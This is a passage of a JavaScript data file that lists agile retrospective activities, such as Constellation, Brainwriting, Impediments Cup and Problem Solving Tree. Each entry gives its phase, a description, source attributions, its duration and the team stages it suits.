if they don't, they should move as far outwards as their degree of disagreement. Now read out statements, e.g.\
<ul>\
<li>I feel I can talk openly in this retrospective</li>\
<li>I am satisfied with the last iteration</li>\
<li>I am happy with the quality of our code</li>\
<li>I think our continuous integration process is mature</li>\
</ul>\
Watch the constellations unfold. Afterwards ask which constellations were surprising.<br>\
This can also be a closing activity (#53).",
source: "<a href='http://www.coachingagileteams.com/'>Lyssa Adkins</a> via <a href='https://luis-goncalves.com/agile-retrospective-set-the-stage/'>Luis Goncalves</a>",
durationDetail: "10 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[52] = {
phase: 4,
name: "Constellation - Closing",
summary: "Let the participants rate the retrospective by moving around",
desc: "Place a circle or sphere in the middle of a free space. Let the team gather around it. \
Explain that the circle is the center of approval: If they agree to a statement they should move towards it, \
if they don't, they should move as far outwards as their degree of disagreement. Now read out statements, e.g.\
<ul>\
<li>We talked about what was most important to me</li>\
<li>I spoke openly today</li>\
<li>I think the time of the retrospective was well invested</li>\
<li>I am confident we will carry out our action items</li>\
</ul>\
Watch the constellations unfold. Any surprising constellations?<br>\
This can also be an opening activity (#52).",
source: "<a href='http://www.coachingagileteams.com/'>Lyssa Adkins</a> via <a href='https://luis-goncalves.com/agile-retrospective-set-the-stage/'>Luis Goncalves</a>, <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'><NAME></a>",
durationDetail: "5 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[53] = {
phase: 1,
name: "<NAME>",
summary: "The team nominates stories for awards and reflects on the winners",
desc: "Display all stories completed in the last iterations on a board. \
Create 3 award categories (i.e. boxes on the board):\
<ul>\
<li>Best story</li>\
<li>Most annoying story</li>\
<li>... 3rd category invented by the team ...</li>\
</ul>\
Ask the team to 'nominate' stories by putting them in one of the award boxes. <br>\
For each category: Dot-vote and announce the winner. \
Ask the team why they think the user story won in this category \
and let the team reflect on the process of completing the tasks - what went good or wrong.",
source: "<a href='http://www.touch-code-magazine.com'><NAME></a>",
durationDetail: "30-40 min",
duration: "Short",
stage: "Forming, Storming, Norming",
suitable: "project, release",
};
all_activities[54] = {
phase: 2,
name: "<NAME>",
summary: "Ask <NAME>'s 4 key questions",
desc: "<NAME>, inventor of retrospectives, identified the following 4 questions as key: \
<ul>\
<li>What did we do well, that if we didn’t discuss we might forget?</li>\
<li>What did we learn?</li>\
<li>What should we do differently next time?</li>\
<li>What still puzzles us?</li>\
</ul>\
What are the team's answers?",
source: "<a href='http://www.retrospectives.com/pages/RetrospectiveKeyQuestions.html'><NAME></a>",
durationDetail: "15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[55] = {
phase: 5,
name: "<NAME>",
summary: "Bring the team into direct contact with a customer or stakeholder",
desc: "Invite a customer or internal stakeholder to your retrospective.\
Let the team ask ALL the questions:\
<ul>\
<li>How does the client use your product?</li>\
<li>What makes them curse the most?</li>\
<li>Which function makes their life easier?</li>\
<li>Let the client demonstrate their typical workflow</li>\
<li>...</li>\
</ul>",
source: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Nick Oostvogels</a>",
durationDetail: "45 min",
duration: "Long",
stage: "Forming, Norming, Performing, Stagnating",
suitable: "iteration, project"
};
all_activities[56] = {
phase: 4,
name: "Say it with Flowers",
summary: "Each team member appreciates someone else with a flower",
desc: "Buy one flower for each team member and reveal them at the end of the retrospective. \
Everyone gets to give someone else a flower as a token of their appreciation.",
source: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Nick Oostvogels</a>",
durationDetail: "5 min",
duration: "Short",
stage: "Norming, Performing",
suitable: "iteration, project"
};
all_activities[57] = {
phase: 2,
name: "Undercover Boss",
summary: "If your boss had witnessed the last iteration, what would she want you to change?",
desc: "Imagine your boss had spent the last iteration - unrecognized - among you. What would she \
think about your interactions and results? What would she want you to change? \
<br>This setting encourages the team to see themselves from a different angle.",
source: "<a href='http://loveagile.com/retrospectives/undercover-boss'>Love Agile</a>",
durationDetail: "10-15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[58] = {
phase: 0,
name: "Happiness Histogram",
summary: "Create a happiness histogram to get people talking",
desc: "Prepare a flip chart with a horizontal scale from 1 (Unhappy) \
to 5 (Happy).\
<ul>\
<li>One team member after the other places their sticky note according to their happiness and comment on their placement</li>\
<li>If anything noteworthy comes from the reason, let the team choose to either discuss it there and then or postpone it for later in the retrospective</li>\
<li>If someone else has the same score, they place their sticky above the placed one, effectively forming a histogram</li>\
</ul>",
source: "<a href='http://nomad8.com/chart-your-happiness/'><NAME></a> via <a href='https://twitter.com/nfelger'><NAME></a>",
durationDetail: "2 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[59] = {
phase: 4,
name: "AHA!",
summary: "Throw a ball around and uncover learning",
desc: "Throw a ball (e.g. koosh ball) around the team and uncover positive thoughts and learning experiences. Give out a question at the beginning \
that people answer when they catch the ball, such as: \
<ul>\
<li>One thing I learned in the last iteration</li>\
<li>One awesome thing someone else did for me</li>\
</ul>\
Depending on the question it might uncover events that are bugging people. If any alarm bells go off, dig a little deeper. With the '1 nice thing'-question \
you usually close on a positive note.",
source: "<a href='http://scrumfoundation.com/about/catherine-louis'><NAME></a> and <a href='http://blog.haaslab.net/'><NAME></a> via <a href='https://www.linkedin.com/in/misshaley'><NAME></a>",
durationDetail: "5-10 min",
duration: "Short",
stage: "All",
suitable: "iteration, project",
};
all_activities[60] = {
phase: 3,
name: "Chaos Cocktail Party",
summary: "Actively identify, discuss, clarify and prioritize a number of actions",
desc: "Everyone writes one card with an action that they think is important to do - \
the more specific (<a href='http://en.wikipedia.org/wiki/SMART_criteria'>SMART</a>), \
the better. Then team members go around and chat about the cards \
like in a cocktail party. Every chat pair discusses the actions on their \
two cards. Stop the chatting after 1 minute. Each chat pair splits \
5 points between the two cards. More points go to the more important action. Organize \
3 to 5 rounds of chats (depending on group size). At the end everyone adds \
up the points on their card. In the end the cards are ranked by points \
and the team decides how much can be done in the next iteration, pulling from the top.\
<br><br>\
Addendum: In many settings you might want to randomly switch the cards in the beginning \
and between discussions. In this way, neither of the point splitting parties has a stake in \
which of the cards gets more points. This is an idea by \
<a href='http://www.thiagi.com/archived-games/2015/2/22/thirty-five-for-debriefing'>Dr. Sivasailam “Thiagi” Thiagarajan</a> via \
<a href='https://twitter.com/ptevis'><NAME></a>",
source: "<NAME> via <a href='http://www.wibas.com'>Mal<NAME></a>",
durationDetail: "10-15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release, largeGroup"
};
all_activities[61] = {
phase: 1,
name: "Expectations",
summary: "What can others expect of you? What can you expect of them?",
desc: "Give each team member a piece of paper. The lower half is blank. The top half is divided into two sections:\
<ul>\
<li>What my team mates can expect from me</li>\
<li>What I expect from my team mates</li>\
</ul>\
Each person fills out the top half for themselves. When everyone is finished, they pass their \
paper to the left and start reviewing the sheet that was passed to them. In the lower half they \
write what they personally expect from that person, sign it and pass it on.<br>\
When the papers made it around the room, take some time to review and share observations.",
source: "<a href='http://agileyammering.com/2013/01/25/expectations/'><NAME></a>",
durationDetail: "10-15 min",
duration: "Medium",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release, start"
};
all_activities[62] = {
phase: 3,
name: "Low Hanging Fruit",
summary: "Visualize promise and ease of possible courses of actions to help pick",
desc: "Reveal a previously drawn tree. Hand out round index cards and instruct participants to \
write down the actions they would like to take - one per card. When everyone's finished, \
collect the cards, shuffle and read them out one by one. Place each 'fruit' according to the \
participants' assessment:\
<ul>\
<li>Is it easy to do? Place it lower. Hard? More to the top.</li>\
<li>Does it seem very beneficial? Place it more to the left. Value is dubious at best? To the right.</li>\
</ul>\
The straightforward choice is to pick the bottom left fruit as action items. If this is not \
consensus, you can either have a short discussion to agree on some actions or dot vote.",
source: "<a href='http://tobias.is'><NAME></a>",
durationDetail: "10-15 min",
duration: "Medium",
stage: "Forming, Storming",
suitable: "iteration, project, release"
};
all_activities[63] = {
phase: 1,
name: "Quartering - Identify boring stories",
summary: "Categorize stories in 2 dimensions to identify boring ones",
desc: "Draw a big square and divide it into 2 columns. \
Label them 'Interesting' and 'Dull'. Let the team write down everything they did last iteration on stickies and \
put it into the appropriate column. Have them add a rough estimate of how long it took on each of their own stickies.<br> \
Now add a horizontal line so that your square has 4 quadrants. Label the top row 'Short' (took hours) \
and the bottom row 'Long' (took days). Rearrange the stickies in each column.<br> \
The long and dull stories are now nicely grouped to 'attack' in subsequent phases.<br> \
<br>\
(Splitting the assessment into several steps, improves focus. You can \
<a href='http://waynedgrant.wordpress.com/2012/08/12/diy-sprint-retrospective-techniques/'>\
adapt Quartering for lots of other 2-dimensional categorizations</a>.)",
source: "<a href='http://waynedgrant.wordpress.com/2012/08/12/diy-sprint-retrospective-techniques/'><NAME></a>",
durationDetail: "10",
duration: "Short",
stage: "All",
suitable: "iteration, project",
};
all_activities[64] = {
phase: 1,
name: "<NAME>",
summary: "Lift everyone's spirit with positive questions",
desc: "This is a round-based activity. In each round you ask the team a question, they write down their answers \
(gives everyone time to think) and then read them out to the others.<br>\
Questions proposed for Software Development teams:\
<ol>\
<li>When was the last time you were really engaged / animated / productive? What did you do? What had happened? How did it feel?</li>\
<li>From an application-/code-perspective: What is the awesomest stuff you've built together? What makes it great?</li>\
<li>Of the things you built for this company, which has the most value? Why?</li>\
<li>When did you work best with the Product Owner? What was good about it?</li>\
<li>When was your collaboration best?</li>\
<li>What was your most valuable contribution to the developer community (of this company)? How did you do it?</li>\
<li>Leave your modesty at the door: What is the most valuable skill / character trait you contribute to the team? Examples?</li>\
<li>What is your team's most important trait? What sets you apart?</li>\
</ol>\
<br>\
('Remember the Future' (#37) works well as the next step.)",
source: "<a href='http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html'>Doug Bradbury</a>, adapted for SW development by " + source_findingMarbles,
durationDetail: "20-25 min groupsize",
duration: "Medium",
stage: "Storming",
suitable: "iteration, project"
};
all_activities[65] = {
phase: 2,
name: "Brainwriting",
summary: "Written brainstorming levels the playing field for introverts",
desc: "Pose a central question, such as 'What actions should we take in the next iteration to improve?'. \
Hand out paper and pens. Everybody writes down their ideas. After 3 minutes everyone passes their \
paper to their neighbour and continues to write on the one they've gotten. As soon as they run out of \
ideas, they can read the ideas that are already on the paper and extend them. Rules: No negative \
comments and everyone writes their ideas down only once. (If several people write down the same idea, \
that's okay.) <br>\
Pass the papers every 3 minutes until everyone had every paper. Pass one last time. Now everyone \
reads their paper and picks the top 3 ideas. Collect all top 3's on a flip chart for the next phase.",
source: "Prof. <NAME>",
durationDetail: "20 min groupsize",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release, introverts"
};
all_activities[66] = {
phase: 4,
name: "Take Aways",
summary: "Capture what participants learned during the retro",
desc: "Everyone writes a sticky note with the most remarkable thing they learned during the retro. Put \
the notes against the door. In turn each participant reads out their own note.",
source: source_judith,
durationDetail: "5 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[67] = {
phase: 2,
name: "Company Map",
summary: "Draw a map of the company as if it was a country",
desc: "Hand out pens and paper. Pose the question 'What if the company / department / team was territory? \
What would a map for it look like? What hints would you add for save travelling?' Let participants draw \
for 5-10 minutes. Hang up the drawings. Walk through each one to clarify and discuss interesting metaphors.",
source: source_judith,
durationDetail: "15 min groupsize",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[68] = {
phase: 2,
name: "The Worst We Could Do",
summary: "Explore how to ruin the next iteration for sure",
desc: "Hand out pens and sticky notes. Ask everyone for ideas on how to turn the next iteration / release \
into a certain desaster - one idea per note. When everyone's finished writing, hang up all stickies \
and walk through them. Identify and discuss themes. <br>\
In the next phase turn these negative actions into their opposite.",
source: source_findingMarbles,
durationDetail: "15 min groupsize",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[69] = {
phase: 0,
name: "3 for 1 - Opening",
summary: "Check satisfaction with iteration results, communication & mood all at once",
desc: "Prepare a flip chart with a co-ordinate plane on it. The Y-axis is 'Satisfaction with iteration result'. \
The X-axis is 'Number of times we coordinated'. Ask each participant to mark where their satisfaction \
and perceived touch points intersect - with an emoticon showing their mood (not just a dot).\
Discuss surprising variances and extreme moods.<br>\
(Vary the X-axis to reflect current team topics, e.g. 'Number of times we pair programmed'.)",
source: source_judith,
durationDetail: "5 min groupsize",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[70] = {
phase: 4,
name: "3 for 1 - Closing: Was everyone heard?",
summary: "Check satisfaction with retro results, fair distribution of talk time & mood",
desc: "Prepare a flip chart with a co-ordinate plane on it. The Y-axis is 'Satisfaction with retro result'. \
The X-axis is 'Equal distribution of talking time' (the more equal, the farther to the right). \
Ask each participant to mark where their satisfaction and perceived talking time balance intersect - \
with an emoticon showing their mood (not just a dot). Discuss talking time inequalities (and extreme moods).",
source: source_judith,
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[71] = {
phase: 3,
name: "<NAME> Dollar",
summary: "How much is an action item worth to the team?",
desc: "Hang up the list of possible actions. Draw a column next to it, titled 'Importance (in $)'. \
The team gets to spend 100 (virtual) dollars on the action items. The more \
important it is to them, the more they should spend. Make it more fun by bringing paper \
money from a board game such as Monopoly.\
<br><br>Let them agree on prices. Consider the 2 or 3 highest amount action items as chosen.",
source: "<a href='http://www.gogamestorm.com/?p=457'>Gamestorming</a>",
durationDetail: "10 min groupsize",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[72] = {
phase: 3,
name: "Pitch",
summary: "Ideas for actions compete for 2 available 'Will do'-slots",
desc: "[Caution: This game creates 'winners' and 'losers'. Don't use it if the team has power imbalances.]\
<br><br> \
Ask everyone to think of 2 changes they'd like to implement and write them down on separate \
index cards. Draw 2 slots on the board. The first team member puts their favorite change idea \
into the first slot. His neighbor puts their favorite into the second slot. The third member has \
to pitch her favorite idea against the one already hanging that she favors less. If the team \
prefers her idea, it's swapped against the hanging one. This continues until everyone has presented \
both their cards. \
<br><br>Try not to start the circle with dominant team members.",
source: source_judith,
durationDetail: "15 min groupsize",
duration: "Medium",
stage: "Performing",
suitable: "iteration"
};
all_activities[73] = {
phase: 2,
name: "Pessimize",
summary: "If we had ruined the last iteration what would we have done?",
desc: "You start the activity by asking: 'If we had completely ruined last iteration what would we have done?' \
Record the answers on a flip chart. Next question: 'What would be the opposite of that?' \
Record it on another flip chart. Now ask participants to comment the items on the 'Opposite'-chart \
by posting sticky notes answering 'What keeps us from doing this?'. Hand out different colored \
sticky notes to comment on the comments, asking 'Why is it like this?'.",
source: source_judith,
durationDetail: "25 min groupsize",
duration: "Long",
stage: "All",
suitable: "iteration, project"
};
all_activities[74] = {
phase: 1,
name: "Writing the Unspeakable",
summary: "Write down what you can never ever say out loud",
desc: "Do you suspect that unspoken taboos are holding back the team? \
Consider this silent activity: Stress confidentiality ('What happens in Vegas stays in Vegas') \
and announce that all \
notes of this activity will be destroyed in the end. Only afterwards hand out a piece \
of paper to each participant to write down the biggest unspoken taboo in the company. <br>\
When everyone's done, they pass their paper to their left-hand neighbors. The neighbors read \
and may add comments. Papers are passed on and on until they return to their authors. One last \
read. Then all pages are ceremoniously shredded or (if you're outside) burned.",
source: "Unknown, via Vanessa",
durationDetail: "10 min groupsize",
duration: "Short",
stage: "Storming, Stagnating",
suitable: "iteration, project, release"
};
all_activities[75] = {
phase: 0,
name: "Round of Admiration",
summary: "Participants express what they admire about one another",
desc: "Start a round of admiration by facing your neighbour and stating 'What I admire \
most about you is ...' Then your neighbour says what she admires about \
her neighbour and so on until the last participants admires you. Feels great, \
doesn't it?",
source: source_judith,
durationDetail: "5 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[76] = {
phase: 4,
name: "<NAME>",
summary: "What's the probability of action items getting implemented?",
desc: "Let everyone draw an emoticon of their current mood on a sticky note. \
Then draw a scale on a flip chart, labeled 'Probability we'll implement \
our action items'. Mark '0%' on the left and '100%' on the right. Ask \
everyone to place their sticky according to their confidence in their \
follow through as a team. <br>Discuss interesting results such as low probability \
or bad mood.",
source: source_judith,
durationDetail: "5-10 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[77] = {
phase: 1,
name: "4 Ls - Loved, Learned, Lacked, Longed for",
summary: "Explore what people loved, learned, lacked and longed for individually",
desc: "Each person brainstorms individually for each of these 4 questions: \
<ul> \
<li>What I Loved</li> \
<li>What I Learned</li> \
<li>What I Lacked</li> \
<li>What I Longed For</li> \
</ul> \
Collect the answers, either stickies on flip charts or in a digital tool if you're distributed. \
Form 4 subgroups, on for each L, read all notes, identify patterns and report their findings to the group. \
Use this as input for the next phase.",
source: "<a href='http://ebgconsulting.com/blog/the-4l%E2%80%99s-a-retrospective-technique/'><NAME>an & Ellen Gottesdiener</a> probably via <a href='http://www.groupmap.com/portfolio-posts/agile-retrospective/'>groupmap.com</a>",
durationDetail: "30 min",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release, distributed"
};
all_activities[78] = {
phase: 1,
name: "Value Stream Mapping",
summary: "Draw a value stream map of your iteration process",
desc: "Explain an example of Value Stream Mapping. (If you're unfamiliar with it, check out \
<a href='http://www.youtube.com/watch?v=3mcMwlgUFjU'>this video</a> or \
<a href='http://wall-skills.com/2014/value-stream-mapping/'>this printable 1-pager</a>.) \
Ask the team to draw a value stream map of their process from the point of \
view of a single user story. If necessary, ask them to break into small groups, and \
facilitate the process if they need it. Look at the finished map. Where are long delays, \
choke points and bottlenecks?",
source: "<a href='http://pragprog.com/book/ppmetr/metaprogramming-ruby'>Paolo 'Nusco' Perrotta</a>, inspired by <a href='http://www.amazon.com/exec/obidos/ASIN/0321150783/poppendieckco-20'>Mary & <NAME></a>",
durationDetail: "20-30 min",
duration: "Medium",
stage: "Forming, Storming, Norming",
more: "http://leadinganswers.typepad.com/leading_answers/2011/09/pmi-acp-value-stream-mapping.html",
suitable: "iteration, project, release, distributed"
};
all_activities[79] = {
phase: 1,
name: "Repeat & Avoid",
summary: "Brainstorm what to repeat and what behaviours to avoid",
desc: "Head 2 flip charts with 'Repeat' and 'Avoid' respectively. \
The participants write issues for the columns on sticky notes - 1 per issue. \
You can also color code the stickies. Example categories are 'People', 'Process', 'Technology', ... \
Let everyone read out their notes and post them to the appropriate column. \
Are all issues unanimous?",
source: "<a href='http://www.infoq.com/minibooks/agile-retrospectives-value'>L<NAME></a>",
more: "http://www.funretrospectives.com/repeat-avoid/",
durationDetail: "15-30",
duration: "Medium",
stage: "All",
suitable: "iteration, project, remote"
};
all_activities[80] = {
phase: 0,
name: "Outcome Expectations",
summary: "Everyone states what they want out of the retrospective",
desc: "Everyone in the team states their goal for the retrospective, i.e. what they \
want out of the meeting. Examples of what participants might say: \
<ul> \
<li>I'm happy if we get 1 good action item</li> \
<li>I want to talk about our argument about unit tests and agree on how we'll do it in the future</li> \
<li>I'll consider this retro a success, if we come up with a plan to tidy up $obscureModule</li> \
</ul> \
[You can check if these goals were met if you close with activity #14.] \
<br><br> \
[The <a href='http://liveingreatness.com/additional-protocols/meet/'>Meet - Core Protocol</a>, which inspired \
this activity, also describes 'Alignment Checks': Whenever someone thinks the retrospective is not meeting \
people's needs they can ask for an Alignment Check. Then everyone says a number from 0 to 10 which reflects \
how much they are getting what they want. The person with the lowest number takes over to get nearer to \
what they want.]",
source: "Inspired by <a href='http://liveingreatness.com/additional-protocols/meet/'>Jim & <NAME></a>",
durationDetail: "5 min groupsize",
duration: "Forming, Storming, Norming",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[81] = {
phase: 0,
name: "<NAME>",
summary: "Everybody sums up the last iteration in 3 words",
desc: "Ask everyone to describe the last iteration with just 3 words. \
Give them a minute to come up with something, then go around the team. \
This helps people recall the last iteration so that they have some ground to \
start from.",
source: "Yurii Liholat",
durationDetail: "5 min groupsize",
duration: "Short",
stage: "All",
suitable: "iteration, project"
};
all_activities[82] = {
phase: 4,
name: "<NAME>",
summary: "Check if you hit bull's eye on important issues",
desc: "Draw one or several dartboards on a flip chart. \
Write a question next to each dartboard, e.g. \
<ul> \
<li>We talked about what's important to me</li> \
<li>I spoke openly</li> \
<li>I'm confident we'll improve next iteration</li> \
</ul> \
Participants mark their opinion with a sticky. Smack in the middle is 100% \
agreement. Outside the disc is 0% agreement.",
source: "<a href='http://www.philippflenker.de/'><NAME></a>",
durationDetail: "2-5",
duration: "Short",
stage: "All",
suitable: "iteration, release"
};
all_activities[83] = {
phase: 0,
name: "Last Retro's Actions Table",
summary: "Assess how to continue with last retro's actions",
desc: "Create a table with 5 columns. The first column lists last retro's \
action items. The other columns are headed 'More of', 'Keep doing', \
'Less of' and 'Stop doing'. Participants place 1 sticky note per row into the \
column that states how they want to proceed with that action. Afterwards \
facilitate a short discussion for each action, e.g. asking: \
<ul> \
<li>Why should we stop doing this?</li> \
<li>Why is it worth to go further?</li> \
<li>Are our expectations satisfied?</li> \
<li>Why do opinions vary that much?</li> \
</ul>",
source: "<a href='https://sven-winkler.squarespace.com/blog-en/2014/2/5/the-starfish'>Sven Winkler</a>",
durationDetail: "5-10",
duration: "Short",
stage: "All",
suitable: "iteration, release"
};
all_activities[84] = {
phase: 0,
name: "Greetings from the Iteration",
summary: "Each team member writes a postcard about last iteration",
desc: "Remind the team what a postcard looks like: \
<ul> \
<li> An image on the front,</li> \
<li> a message on one half of the back,</li> \
<li> the address and stamp on the other half.</li> \
</ul> \
Distribute blank index cards and tell the team they have 10 minutes to write \
a postcard to a person the whole team knows (i.e. an ex-colleague). \
When the time is up, collect and shuffle the cards before re-distributing them. \
Team members take turns to read out loud the postcards they got.",
source: "<a href='http://uk.linkedin.com/in/alberopomar'><NAME></a>",
durationDetail: "15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, project"
};
all_activities[85] = {
phase: 1,
name: "Lines of Communication",
summary: "Visualize how information flows in, out and around the team",
desc: "Is information not flowing as well as it needs to? Do you \
suspect bottlenecks? Visualize the ways information flows to find \
starting points for improvements. If you want to look at one specific \
flow (e.g. product requirements, impediments, ...) check out \
Value Stream Mapping (#79). For messier situations try something akin to \
Cause-Effect-Diagrams (#25). <br>\
Look at the finished drawing. Where are delays or dead ends?",
source: "<a href='https://www.linkedin.com/in/bleadof'><NAME></a>",
durationDetail: "20-30 min",
duration: "Medium",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release"
};
all_activities[86] = {
phase: 1,
name: "Meeting Satisfaction Histogram",
summary: "Create a histogram on how well ritual meetings went during the iteration",
desc: "Prepare a flip chart for each meeting that recurs every iteration, \
(e.g. the Scrum ceremonies) with a horizontal scale from 1 ('Did not meet expectations') \
to 5 ('Exceeds Expectations'). Each team member adds a sticky note based on their rating \
for each of these meetings. Let the team discuss why some meetings do not have a rating of 5. \
<br> \
You can discuss improvements as part of this activity or in a later activity such as \
Perfection Game (#20) or Plus \& Delta (#40).",
source: "<a href='https://www.linkedin.com/profile/view?id=6689187'><NAME></a>",
durationDetail: "10-20 min",
duration: "Medium",
stage: "Storming, Norming, Stagnating",
suitable: "iteration, project, release"
};
all_activities[87] = {
phase: 3,
name: "Impediments Cup",
summary: "Impediments compete against each other in a World Cup style",
desc: "Prepare a flip chart with a playing schedule for quarter-final, semi-final and final. \
All participants write down actions on a post-it until you have eight actions. \
Shuffle them and randomly place them on the playing schedule.<br>\
The team now has to vote for one of the two actions in each pair. Move the winning \
action to the next round until you have a winner of the impediments cup. \
<br><br>\
If you want to take on more than one or two actions you can play the match for third place.",
source: "<a href='http://obivandamme.wordpress.com'>Pascal Martin</a>, inspired by <a href='http://borisgloger.com/'>Boris Gloger's 'Bubble Up'</a>",
durationDetail: "10-15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[88] = {
phase: 1,
name: "Retro Wedding",
summary: "Collect examples for something old, new, borrowed and blue",
desc: "Analogue to an anglo-american wedding custom ask the team to give examples for the following categories: \
<ul> \
<li>Something Old<br> \
Positive feedback or constructive criticism on established practice</li> \
\
<li>Something New<br> \
Positive feedback or constructive criticism on experiments in progress</li> \
\
<li>Something Borrowed<br> \
Tool/idea from another team, the Web or yourself for a potential experiment</li> \
\
<li>Something Blue<br> \
Any blocker or source of sadness</li> \
</ul> \
One example per sticky note. There's only one rule: If someone contributes to the 'Something Blue' column, \
s/he must also have a positive comment in at least 1 other column.<br><br> \
Everyone posts their stickies in the appropriate column on the board and describes it briefly.",
source: "<a href='http://scalablenotions.wordpress.com/2014/05/15/retrospective-technique-retro-wedding/'><NAME></a>, via <NAME>",
durationDetail: "5-10 min",
duration: "Short",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[89] = {
phase: 0,
name: "Agile Values Cheer Up",
summary: "Remind each other of agile values you displayed",
desc: "Draw 4 large bubbles and write one of the agile core values into each: \
<ol> \
<li>Individuals and their interactions</li> \
<li>Delivering working software</li> \
<li>Customer collaboration</li> \
<li>Responding to change</li> \
</ol> \
Ask participants to write down instances when their colleagues have displayed \
one of the values - 1 cheerful sticky note per example. In turn, let \
everyone post their note in the corresponding bubble and read them out loud. \
Rejoice in how you embody agile core values :)",
source: "<a href='http://agileinpills.wordpress.com'><NAME></a>",
durationDetail: "10-15 min",
duration: "Medium",
stage: "Storming, Norming, Stagnating",
suitable: "iteration, project, release"
};
all_activities[90] = {
phase: 2,
name: "Poster Session",
summary: "Split a large group into smaller ones that create posters",
desc: "After you've identified an important topic in the previous phase \
you can now go into detail. Have the larger group split up into groups of 2-4 \
people that will each prepare a poster (flip chart) to present to the other groups. \
If you have identified more than one main topic, let the team members select \
on which they want to work further.<br> \
Give the teams guidelines about what the posters should cover / answer, such as: \
<ul> \
<li>What exactly happens? Why is that a problem?</li> \
<li>Why / when / how does this situation happen?</li> \
<li>Who benefits from the current situation? What is the benefit?</li> \
<li>Possible solutions (with Pros and Cons)</li> \
<li>Who could help change the situation?</li> \
<li>... whatever is appropriate in your setting ...</li> \
</ul> \
The groups have 15-20 minutes to discuss and create their posters. Afterwards \
gather and each group gets 2 minutes to present their results.",
source: "Unknown, adapted by " + source_findingMarbles + ", inspired by <NAME>",
durationDetail: "30 min",
duration: "Long",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[91] = {
phase: 4,
name: "Motivational Poster",
summary: "Turn action items into posters to improve visibility \& follow-through",
desc: "Take each of your action items and create a funny poster for it (see the photos for examples). \
<ol>\
<li>Pick an image</li>\
<li>Agree on a title</li>\
<li>Write a self-mocking description</li>\
</ol>\
Print your master piece as big as possible (A4 at the very least) and display it prominently.",
source: "<a href='http://fr.slideshare.net/romaintrocherie/agitational-posters-english-romain-trocherie-20140911'><NAME></a>",
durationDetail: "30 min per topic / poster",
duration: "Long",
stage: "Performing",
suitable: "release"
};
all_activities[92] = {
phase: 1,
name: "Tell a Story with Shaping Words",
summary: "Each participant tells a story about the last iteration that contains certain words",
desc: "Provide everyone with something to write down their story. Then introduce the shaping words, \
which influence the story to be written: \
<ul> \
<li>If the last iteration could have been better:<br> \
You set a couple of shaping words, e.g. such as 'mad, sad, glad' or 'keep, drop, add'. Additionally they have \
to write their story in first person. This avoids blaming others. \
</li> \
<li>If the last iteration was successful:<br> \
The team can either choose their own set of words or you can provide random words to unleash the team's creativity. \
</li> \
</ul> \
Now each participant writes a story of no more than 100 words about last iteration. They have to use each shaping \
word at least once. Timebox this to 5-10 minutes. <br> \
When everyone's finished, they read out their stories. Afterwards lead a discussion about common themes of the stories.",
source: "<a href='https://medium.com/p/agile-retrospective-technique-1-7cac5cb4302a'>Philip Rogers</a>",
durationDetail: "20-30 minutes",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[93] = {
phase: 2,
name: "BYOSM - Build your own Scrum Master",
summary: "The team assembles the perfect SM \& takes different points of view",
desc: "Draw a Scrum Master on a flipchart with three sections on him/her: brain, heart, stomach. \
<ul>\
<li>Round 1: 'What properties does your perfect SM display?' <br>\
Ask them to silently write down one trait per note. Let participants explain their notes and put them on the drawing. \
</li> \
<li>Round 2: 'What does the perfect SM have to know about you as a team so that he/she can work with you well?' \
</li>\
<li>Round 3: 'How can you support your SM to do a brilliant job?' <br> \
</li></ul>\
You can adapt this activity for other roles, e.g. BYOProductOwner.",
source: "<a href='http://agile-fab.com/2014/10/07/die-byosm-retrospektive/'><NAME></a>",
durationDetail: "30 minutes",
duration: "Long",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release"
};
all_activities[94] = {
phase: 2,
name: "If I were you",
summary: "What could sub-groups improve when interacting with others?",
desc: "Identify sub-groups within the participants that interacted during the iteration, \
e.g. developers/testers, clients/providers, PO/developers, etc. \
Give participants 3 minutes to silently write down what they think \
their group did that negatively impacted another group. One person should be part of one group only and write stickies \
for all groups they don't belong to - 1 sticky per issue. <br><br> \
Then in turn all participants read their stickies and give them to the corresponding group. \
The affected group rates it from 0 ('It was not a problem') to 5 ('It was a big problem'). \
Thus you get insights and shared understanding about problems and can select some of them to work on.",
source: "<a href='http://www.elproximopaso.net/2011/10/dinamica-de-retrospectiva-si-fuera-vos.html'>Thomas Wallet</a>",
durationDetail: "25-40 minutes",
duration: "Long",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[95] = {
phase: 3,
name: "Problem Solving Tree",
summary: "Got a big goal? Find the steps that lead to it",
desc: "Hand out sticky notes and markers. Write the big problem you \
want to solve onto a note and stick it to the top of a wall or big board. \
Ask the participants to write down ideas of what they can do to solve the problem. \
Post them one level below the original problem. Repeat this for each note on the new level. \
For every idea ask whether it can be done in a single iteration and if everyone understands what \
they need to do. If the answer is no, break it down and create another level in the \
problem solving tree.<br><br> \
